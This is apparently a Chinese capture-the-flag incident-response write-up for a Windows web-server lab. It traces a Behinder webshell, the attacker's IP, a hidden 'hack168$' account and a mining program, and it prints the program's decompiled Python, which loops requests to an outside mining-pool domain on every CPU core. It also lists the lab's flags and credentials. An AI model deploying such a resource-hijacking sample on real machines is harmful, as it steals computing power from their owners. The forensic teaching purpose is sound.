应急响应靶机训练 - Web1
小李在值守的过程中，发现有 CPU 占用飙升，出于胆子小，就立刻将服务器关机，并找来正在吃苕皮的 hxd 帮他分析，这是他的服务器系统，请你找出以下内容，并作为通关条件：
攻击者的 Shell 密码；
攻击者的 IP 地址；
攻击者的隐藏账户名称；
攻击者挖矿程序的矿池域名；
相关账户密码：administrator/Zgsf@admin.com
1 Flag-1
由于服务器之前关过，这里需要先启动 Web 服务：
使用浏览器访问一下：
目前站点看不出入侵痕迹，根据要求可知，攻击者在站点下存在 WebShell。
打开 Web 根目录：
肉眼肯定看不出来，直接去看日志（C:\phpstudy_pro\Extensions\Apache2.4.39\logs），由于日志非常大，使用 Notepad++ 打开。经过查找发现在 2024-02-26 22:46:23 时出现了 shell.php 的访问记录：
[!Warning]
这里正常说应该是看 Nginx 的，但实际是看 Apache 的。
拼接一下 shell.php 路径：
C:\phpstudy_pro\WWW\content\plugins\tips\shell.php
打开文件查看内容，很明显的发现是一个冰蝎木马，没经过魔改：
为了避免遗漏，使用 D 盾扫一扫：
得出 Flag-1：
rebeyond
2 Flag-2
根据之前的日志信息可得，攻击者 IP 地址是：192.168.126.1。
得出 Flag-2：
192.168.126.1
3 Flag-3
使用 D 盾扫描当前服务下的所有用户：
得出 Flag-3：
hack168$
4 Flag-4
进入 hack168$ 用户的桌面，可以发现一个 exe 文件：
直接丢到微步云沙箱上：
不过看着好像没啥问题？分析出是 Python 打包的，使用 pyinstxtractor 反编译一下：
python pyinstxtractor.py Kuang.exe
反编译完成后，出现了一个 Kuang.pyc 文件，还要反编译一次：
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.8
import multiprocessing
import requests
def cpu_intensive_task():
try:
requests.get('http://wakuang.zhigongshanfang.top', 10, **('timeout',))
finally:
continue
continue
continue
if __name__ == '__main__':
cpu_count = multiprocessing.cpu_count()
processes = (lambda .0: [ multiprocessing.Process(cpu_intensive_task, **('target',)) for _ in .0 ])(range(cpu_count))
for process in processes:
process.start()
for process in processes:
process.join()
得出 Flag-4：
http://wakuang.zhigongshanfang.top
5 总结攻击流程
截取部分日志内容如下：
可以发现大量访问 /admin/account.php?action=dosignin&s= 路径的请求，尝试访问一下：
发现是站点的登录页面，根据上述可得出以下内容：
攻击者 IP：192.168.126.1
攻击者访问站点时间：2024-02-26 22:28:56
攻击者爆破开始时间：2024-02-26 22:34:28
攻击者爆破结束时间：2024-02-26 22:37:09
登录站点 MySQL 数据查看，用户账号密码是否为弱口令：
mysql -uemlog123 -pemlog123
mysql> show databases;
mysql> use emlog123;
mysql> show tables;
mysql> select * from emlog_user;
# admin / $P$BZFmadazYLJBS3d.neHGpPYIc4uSrj0
尝试撞一下：
撞是撞出来了，但是要钱。
既然要钱，那就不登录后台了，经查询和日志比对攻击者利用的是 emlog v2.2.0 后台插件上传漏洞.